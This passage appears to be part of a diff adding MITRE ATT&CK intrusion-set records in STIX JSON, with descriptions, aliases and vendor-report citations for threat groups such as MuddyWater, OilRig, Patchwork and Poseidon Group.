Rocket Kitten. (Citation: Unit 42 Magic Hound Feb 2017) (Citation: ClearSky Charming Kitten Dec 2017)", + "source_name": "Rocket Kitten" + }, + { + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose. (Citation: Unit 42 Magic Hound Feb 2017)", + "source_name": "Operation Saffron Rose" + }, + { + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team. (Citation: Unit 42 Magic Hound Feb 2017)", + "source_name": "Ajax Security Team" + }, + { + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish. (Citation: Unit 42 Magic Hound Feb 2017)", + "source_name": "Operation Woolen-Goldfish" + }, + { + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters). (Citation: Unit 42 Magic Hound Feb 2017) (Citation: FireEye APT35 2018)", + "source_name": "Newscaster" + }, + { + "description": "Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy. (Citation: Secureworks Cobalt Gypsy Feb 2017)", + "source_name": "Cobalt Gypsy" + }, + { + "description": "(Citation: FireEye APT35 2018)", + "source_name": "APT35" + }, + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + }, + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + }, + { + "source_name": "Secureworks Cobalt Gypsy Feb 2017", + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + } + ] + }, + { + "aliases": [ + "Moafee" + ], + "type": "intrusion-set", + "name": "Moafee", + "description": "[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)", + "external_references": [ + { + "external_id": "G0002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0002" + }, + { + "description": "(Citation: Haq 2014)", + "source_name": "Moafee" + }, + { + "source_name": "Haq 2014", + "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:46.025Z", + "id": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f", + "modified": "2019-03-25T14:26:03.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Molerats", + "Operation Molerats", + "Gaza Cybergang" + ], + "type": "intrusion-set", + "name": "Molerats", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)", + "external_references": [ + { + "external_id": "G0021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0021" + }, + { + "description": "(Citation: DustySky)", + "source_name": "Molerats" + }, + { + "description": "(Citation: FireEye Operation Molerats)", + "source_name": "Operation Molerats" + }, + { + "description": "(Citation: DustySky)", + "source_name": "Gaza Cybergang" + }, + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "source_name": "DustySky2", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + }, + { + "source_name": "FireEye Operation Molerats", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:55.093Z", + "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "modified": "2019-03-25T14:27:23.743Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "MuddyWater", + "Seedworm", + "TEMP.Zagros" + ], + "type": "intrusion-set", + "name": "MuddyWater", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)", + "external_references": [ + { + "external_id": "G0069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0069" + }, + { + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)", + "source_name": "MuddyWater" + }, + { + "description": "(Citation: Symantec MuddyWater Dec 2018)", + "source_name": "Seedworm" + }, + { + "description": "(Citation: FireEye MuddyWater Mar 2018)", + "source_name": "TEMP.Zagros" + }, + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.1" + }, + { + "aliases": [ + "NEODYMIUM" + ], + "type": "intrusion-set", + "name": "NEODYMIUM", + "description": "[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "external_references": [ + { + "external_id": "G0055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0055" + }, + { + "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "source_name": "NEODYMIUM" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "CyberScoop BlackOasis Oct 2017", + "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", + "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653", + "modified": "2019-03-25T14:31:40.855Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Naikon" + ], + "type": "intrusion-set", + "name": "Naikon", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0019", + "url": "https://attack.mitre.org/groups/G0019" + }, + { + "source_name": "Naikon", + "description": "(Citation: Baumgartner Naikon 2015) (Citation: CameraShy) (Citation: Baumgartner Golovkin Naikon 2015)" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "source_name": "CameraShy", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + }, + { + "source_name": "Baumgartner Golovkin Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", + "url": "https://securelist.com/the-naikon-apt/69953/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:54.232Z", + "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.172Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Night Dragon" + ], + "type": "intrusion-set", + "name": "Night Dragon", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", + "external_references": [ + { + "external_id": "G0014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0014" + }, + { + "description": "(Citation: McAfee Night Dragon)", + "source_name": "Night Dragon" + }, + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:51.643Z", + "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "OilRig", + "IRN2", + "HELIX KITTEN", + "APT34" + ], + "name": "OilRig", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.", + "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Robert Falcone", + "Bryan Lee" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-10-15T17:48:09.182Z", + "external_references": [ + { + "external_id": "G0049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0049" + }, + { + "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)", + "source_name": "OilRig" + }, + { + "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)", + "source_name": "IRN2" + }, + { + "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)", + "source_name": "HELIX KITTEN" + }, + { + "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)", + "source_name": "APT34" + }, + { + "source_name": "Palo Alto OilRig April 2017", + "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" + }, + { + "source_name": "ClearSky OilRig Jan 2017", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "url": "http://www.clearskysec.com/oilrig/" + }, + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ] + }, + { + "aliases": [ + "Orangeworm" + ], + "name": "Orangeworm", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)", + "id": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-03-25T15:36:46.621Z", + "external_references": [ + { + "external_id": "G0071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0071" + }, + { + "description": "(Citation: Symantec Orangeworm April 2018)", + "source_name": "Orangeworm" + }, + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ] + }, + { + "aliases": [ + "PLATINUM" + ], + "name": "PLATINUM", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)", + "id": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-05-10T12:14:31.942Z", + "external_references": [ + { + "external_id": "G0068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0068" + }, + { + "description": "(Citation: Microsoft PLATINUM April 2016)", + "source_name": "PLATINUM" + }, + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ] + }, + { + "aliases": [ + "PROMETHIUM" + ], + "type": "intrusion-set", + "name": "PROMETHIUM", + "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "external_references": [ + { + "external_id": "G0056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0056" + }, + { + "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "source_name": "PROMETHIUM" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "modified": "2019-03-25T16:47:54.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Patchwork", + "Dropping Elephant", + "Chinastrats", + "MONSOON", + "Operation Hangover" + ], + "type": "intrusion-set", + "name": "Patchwork", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)", + "external_references": [ + { + "external_id": "G0040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0040" + }, + { + "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)", + "source_name": "Patchwork" + }, + { + "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)", + "source_name": "Dropping Elephant" + }, + { + "description": "(Citation: Securelist Dropping Elephant)", + "source_name": "Chinastrats" + }, + { + "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)", + "source_name": "MONSOON" + }, + { + "description": "It is believed that the actors behind G0040 are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)", + "source_name": "Operation Hangover" + }, + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "source_name": "Symantec Patchwork", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "source_name": "Securelist Dropping Elephant", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.", + "source_name": "Operation Hangover May 2013", + "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:07.145Z", + "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:04.105Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "PittyTiger" + ], + "type": "intrusion-set", + "name": "PittyTiger", + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)", + "external_references": [ + { + "external_id": "G0011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0011" + }, + { + "description": "(Citation: Bizeul 2014) (Citation: Villeneuve 2014)", + "source_name": "PittyTiger" + }, + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + }, + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:50.198Z", + "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:53.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Poseidon Group" + ], + "type": "intrusion-set", + "name": "Poseidon Group", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)", + "external_references": [ + { + "external_id": "G0033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0033" + }, + { + "description": "(Citation: Kaspersky Poseidon Group)", + "source_name": "Poseidon Group" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:04.179Z", + "id": 